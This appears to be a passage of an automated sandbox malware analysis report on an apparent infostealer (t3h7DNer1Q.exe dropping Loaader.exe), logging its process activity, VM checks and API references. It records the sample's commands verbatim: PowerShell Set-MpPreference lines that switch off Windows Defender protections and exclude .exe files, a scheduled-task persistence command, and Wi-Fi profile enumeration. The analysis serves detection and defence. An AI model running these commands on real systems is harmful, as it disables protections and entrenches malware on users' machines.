Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: Loaader.exe, 00000007.00000002.2853326582.0000000002AED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: Loaader.exe.0.dr	Binary or memory string: vmware
Source: Loaader.exe, 00000007.00000002.2850520768.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2880127206.000000001B453000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002E24000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2853326582.0000000002E15000.00000004.00000800.00020000.00000000.sdmp, Info.txt.7.dr	Binary or memory string: VirtualMachine: False
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VirtualMachine:

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: t3h7DNer1Q.exe, DInvokeCore.cs	Reference to suspicious API methods: DynamicAPIInvoke("ntdll.dll", "NtProtectVirtualMemory", typeof(Delegates.NtProtectVirtualMemory), ref Parameters)
Source: t3h7DNer1Q.exe, Bjifos.cs	Reference to suspicious API methods: OpenProcess(1u, bInheritHandle: false, processId)
Source: 7.2.Loaader.exe.1cf80000.8.raw.unpack, Decryptor.cs	Reference to suspicious API methods: WinApi.LoadLibrary(sPath + "\\mozglue.dll")
Source: 7.2.Loaader.exe.1cf80000.8.raw.unpack, Decryptor.cs	Reference to suspicious API methods: WinApi.GetProcAddress(_hNss3, "NSS_Init")

Disables Windows Defender (via service or powershell)

Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true			Jump to behavior

Modifies Windows Defender protection settings

Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6	Jump to behavior

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"' & exit	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpE266.tmp.bat""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 3	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\Loaader.exe "C:\Users\user\AppData\Roaming\Loaader.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" Get-MpPreference -verbose	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add - MpPreference - ExclusionExtension ".exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid

Source: Loaader.exe, 00000007.00000002.2853326582.0000000002B49000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2889437531.000000001CC46000.00000004.00000020.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2853326582.0000000002C7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002B49000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2853326582.0000000002C7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@

Source: C:\Users\user\AppData\Roaming\Loaader.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId

Jump to behavior

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Queries volume information: C:\Users\user\Desktop\t3h7DNer1Q.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Queries volume information: C:\Users\user\AppData\Roaming\Loaader.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Queries volume information: C:\Users\user\AppData\Roaming\Loaader.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
